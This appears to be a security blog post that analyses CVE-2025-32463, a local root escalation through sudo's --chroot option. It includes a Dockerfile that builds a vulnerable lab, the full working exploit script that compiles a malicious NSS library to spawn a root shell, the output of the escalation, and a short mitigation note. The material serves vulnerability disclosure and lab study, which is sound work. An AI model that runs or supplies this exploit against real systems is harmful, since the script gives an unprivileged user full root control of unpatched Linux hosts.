Who would have thought that the sudo command, often used in Linux to execute commands as the superuser, could be leveraged by threat actors to obtain superuser rights from a local user account that has no relevant permissions?
This article explains exactly how that can happen and why it is important to check every command for vulnerabilities, even those intended for basic tasks.
CVE-2025-32463, published on June 30, 2025 by Rich Mirch, reports that sudo versions before 1.9.17p1 allow local users to obtain root access via the --chroot option when /etc/nsswitch.conf is loaded from a user controlled directory.
The following sections contain the Proof of Concept, an explanation of why the exploit works and mitigation steps.
We will use Docker to create a vulnerable container with an old version of sudo.
We begin by creating a directory with Dockerfile and sudo-chwoot.sh in it.
mkdir CVE-2025-32463
cd CVE-2025-32463
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \
pkg-config libssl-dev git ca-certificates && \
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \
tar xzf sudo-1.9.16p2.tar.gz && \
cd sudo-1.9.16p2 && \
./configure --disable-gcrypt --prefix=/usr && make && make install
RUN useradd -m -s /bin/bash pwn
COPY sudo-chwoot.sh /home/pwn/sudo-chwoot.sh
RUN chown pwn:pwn /home/pwn/sudo-chwoot.sh
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
This Dockerfile creates an Ubuntu 24.04 image with a vulnerable version of
sudo(1.9.16p2) and a non-privileged userpwn. It also copies the exploit topwn's home directory.
#!/bin/bash
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
if [ $# -eq 0 ]; then
CMD="/bin/bash"
else
CMD="$@"
fi
CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
Then we build a vulnerable container and get an interactive shell on it as a low privileged pwn user using:
sudo docker build . -t poc
sudo docker run -it --rm --privileged poc /bin/bash
We land in the home directory of the user pwn. Just to be sure we are not root, we run the command:
pwn@c20f1cd30104:/# id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
Then, we grant execution permission to the file sudo-chwoot.sh located in /home/pwn.
pwn@c20f1cd30104:~$ chmod +x sudo-chwoot.sh
Finally, run the exploit:
pwn@c20f1cd30104:~$ ./sudo-chwoot.sh
woot!
root@c20f1cd30104:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
This exploit gives us the root shell and the PoC is complete.
To remove the vulnerable image, exit the interactive shell on the container and run:
sudo docker rmi poc
The /etc/nsswitch.conf tells the system which sources (files, LDAP, DNS, etc.) to use, and in what order. For example, an entry like hosts: files dns directs the system to consult /etc/hosts first and then DNS nameservers when resolving hostnames.
These lookups are performed by libc/NSS and can cause the system to load specific modules or backend code depending on the configuration.
In the above exploit,
sudo ran with root privileges and was instructed to operate on a user‑supplied filesystem view (a chroot environment).sudo performed NSS lookups relative to that chroot directory./etc/nsswitch.conf and /etc/group.The only mitigation for this vulnerability is to upgrade to the latest patched version of sudo.
All sudo versions from 1.9.17p1 onward are patched.